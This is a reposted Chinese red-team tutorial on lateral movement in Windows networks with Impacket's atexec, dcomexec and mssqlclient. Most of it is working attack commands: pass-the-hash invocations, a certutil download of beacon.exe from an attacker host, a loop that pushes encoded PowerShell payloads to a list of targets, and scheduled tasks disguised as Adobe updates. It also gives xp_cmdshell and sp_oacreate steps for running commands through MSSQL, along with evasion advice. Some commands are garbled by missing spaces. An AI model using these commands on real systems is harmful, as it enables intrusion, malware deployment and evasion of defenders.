【工具学习14】Impacket工具实战教程(二)

admin 2026-07-15 05:34:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是Impacket工具实战教程的第二部分,重点介绍了atexec、dcomexec和mssqlclient三种进阶横向移动工具。atexec通过计划任务静默执行命令,dcomexec利用DCOM接口绕过限制,mssqlclient则通过MSSQL数据库执行系统命令。文章详细说明了各工具的原理、使用方法和实战场景,并提供了选型指南,强调隐蔽性和绕过技巧,对红队渗透测试具有实用价值。 综合评分: 88 文章分类: 渗透测试,红队,内网渗透,安全工具,实战经验


cover_image

【工具学习14】Impacket 工具实战教程(二)

原创

CabinQ CabinQ

逆熵寻生

2026年7月14日 08:31 浙江

在小说阅读器读本章

去阅读

Impacket 工具实战教程(二):横向移动进阶 —— atexec、dcomexec、mssqlclient

上一篇讲了远程执行三剑客。但在真实环境中,总有情况需要换着花样来——目标 445 被封了、杀软盯着服务创建、或者你面对的是一台 MSSQL 服务器。这篇来补充三把进阶武器:atexec.py、dcomexec.py、mssqlclient.py

一、atexec.py —— 基于计划任务的静默执行

原理:通过 SMB 调用 Windows 计划任务服务(Task Scheduler),在目标上创建一个一次性任务来执行命令,执行完自动删除。不留文件、不留服务。

适用场景:单条命令快速执行、不想写文件也不创建服务、配合横向批量命令分发。

基本使用 —— 单条命令

impacket-atexec administrator:P@[email protected]″whoami”

Pass-the-Hash

impacket-atexec-hashes :aad3b435b51404eeaad3b435b51404ee [email protected]″whoami”

静默模式(无回显,适合执行payload)

impacket-atexec-silentcommand administrator:P@[email protected]″cmd /c certutil -urlcache -f http://10.0.0.1/beacon.exe C:\Windows\Temp\beacon.exe”

指定计划任务名称(伪装)

impacket-atexec-task-name “AdobeFlashUpdate” [email protected]″whoami”

实战场景:拿到一批管理员密码/Hash 后,用 atexec 批量执行下载 payload 的命令,所有目标同时上线。

批量循环

for ip in $(cat targets.txt); do impacket-atexec-hashes :aad3b435b51404ee administrator@$ip “powershell -enc JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQA…” done

优点

🔹 不留文件、不建服务

🔹 计划任务在 Windows 中大量存在,不突兀

🔹 执行完自动清理

🔹 支持 -silentcommand 完全无回显操作

缺点

🔹 非交互式,只能跑单条命令

🔹 有 1-2 秒延迟(计划任务调度开销)

🔹 ~~Taskeng.exe / svchost.exe 产生计划任务事件日志~~ 但默认 ETW 不会记录任务内容

推荐工具:配合 -task-name 参数伪装成 Adobe/Google/Windows 更新任务名,藏得更深。

二、dcomexec.py —— DCOM 远程执行

原理:利用 DCOM(Distributed COM)接口远程实例化 COM 对象,在目标上执行命令。Impacket 支持三种 COM 对象:

🔹 ShellWindows(默认)—— 最稳定

🔹 ShellBrowserWindow —— 备选

🔹 MMC20.Application —— 老牌 COM 执行方法

适用场景:psexec/wmiexec 被盯上的环境、Win10/2016+ 环境下做绕过。

默认 ShellWindows 对象(最稳定)

impacket-dcomexec administrator:P@[email protected]

指定 MMC20 对象

impacket-dcomexec-object MMC20 administrator:P@[email protected]

无回显执行

impacket-dcomexec-nooutput administrator:P@[email protected]″cmd /c start C:\Windows\Temp\beacon.exe”

Pass-the-Hash

impacket-dcomexec-hashes :aad3b435b51404ee [email protected]

三种对象怎么选?

| 对象 | 适用系统 | 稳定性 | 备注 | | — | — | — | — | | ShellWindows | Win7+/2008R2+ | ⭐⭐⭐ | 默认选项,优先使用 | | ShellBrowserWindow | Win8+/2012+ | ⭐⭐ | 备选,ShellWindows 失效时尝试 | | MMC20 | Win7+/2008R2+ | ⭐⭐ | 老牌方案,部分环境被杀软标记 |

实战技巧

🔹 如果 135 端口可达但 wmiexec 不通,试试 dcomexec

🔹 -nooutput 适合执行 payload,完全不返回结果,行为更干净

🔹 dcomexec 的进程创建链是 svchost.exe → dllhost.exe → cmd.exe,比 wmiexec 的 WmiPrvSE.exe → cmd.exe 更难关联

推荐工具:CobaltStrike 的 execute-assembly 配合 dcomexec 执行,效果极佳。

三、mssqlclient.py —— 通过数据库横向移动

原理:很多企业内网中 MSSQL 服务器是横向移动的黄金枢纽——数据库服务通常以高权限账号运行,且 DBA 喜欢把 sa 密码设成弱口令或复用域账号密码。

适用场景:信息收集发现目标开放 1433 端口(MSSQL)、拿到 sa 密码后横向拿服务器。

连接 MSSQL

impacket-mssqlclient administrator:P@[email protected]

Windows 认证登陆

impacket-mssqlclient-windows-auth domain/administrator:P@[email protected]

数据库内执行系统命令

SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami SQL> xp_cmdshell powershell -enc 

查看链接服务器(跨数据库移动)

SQL> select * from sys.servers

MSSQL 横向移动三板斧

第一板斧:xp_cmdshell(最直接)

— 启用 xp_cmdshell(默认禁用) EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;

— 执行命令 EXEC xp_cmdshell ‘whoami’; EXEC xp_cmdshell ‘powershell -enc JABj…’;

第二板斧:spoacreate(xpcmdshell 被禁时的替代)

EXEC sp_configure ‘Ole Automation Procedures’, 1; RECONFIGURE; DECLARE @shell INT; EXEC sp_oacreate ‘wscript.shell’, @shell OUTPUT; EXEC sp_oamethod @shell, ‘run’, null, ‘cmd /c whoami > C:\Windows\Temp\out.txt’;

第三板斧:链接服务器横向移动

查链接服务器

SQL> select srvname, srvproduct, provider from sys.servers;

通过链接服务器执行

SQL> EXEC(‘xp_cmdshell ”whoami”’) AT [LINKED_SERVER_NAME];

实战场景:内网 1433 端口扫描 → 尝试 sa/空密码 → 启用 xp_cmdshell → whoami 确认权限 → 下载 payload → 拿到服务器 → 横向到更多机器。

四、四种工具的选型指南

| 工具 | 端口 | 文件落地 | 交互式 | 隐蔽性 | 最佳场景 | | — | — | — | — | — | — | | psexec | 445 | 是 | 是 | 低 | 稳定交互 Shell | | smbexec | 445 | 否 | 是 | 中 | 免落地交互 | | wmiexec | 135+445 | 否 | 是 | 高 | 隐蔽横向 | | atexec | 445 | 否 | 否 | 高 | 批量单条命令 | | dcomexec | 135+动态 | 否 | 是 | 高 | 绕过限制 | | mssqlclient | 1433 | 否 | SQL交互 | 中 | 数据库横向 |

总结

| 项目 | 说明 | | — | — | | 推荐工具 | atexec(批量分发)、dcomexec(绕过)、mssqlclient(数据库渗透) | | 关键端口 | TCP 445、135、1433 | | 实战路线 | 扫描端口 → 匹配执行方式 → 走最隐蔽的路径 | | 蓝队检出点 | svchost.exe → dllhost.exe 异常进程链、1433 端口非正常 DBA 操作 | | 绕过思路 | 交替使用不同执行方式、改名服务/任务、配合隧道做边界穿透 |

下一篇我们进入 Kerberos 攻击体系 —— AS-REP Roasting 和 Kerberoasting,两个”无接触”拿域用户密码的大招。

🎯 关注我,持续不断地成长!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:逆熵寻生 CabinQ CabinQ《【工具学习14】Impacket 工具实战教程(二)》

评论:0   参与:  0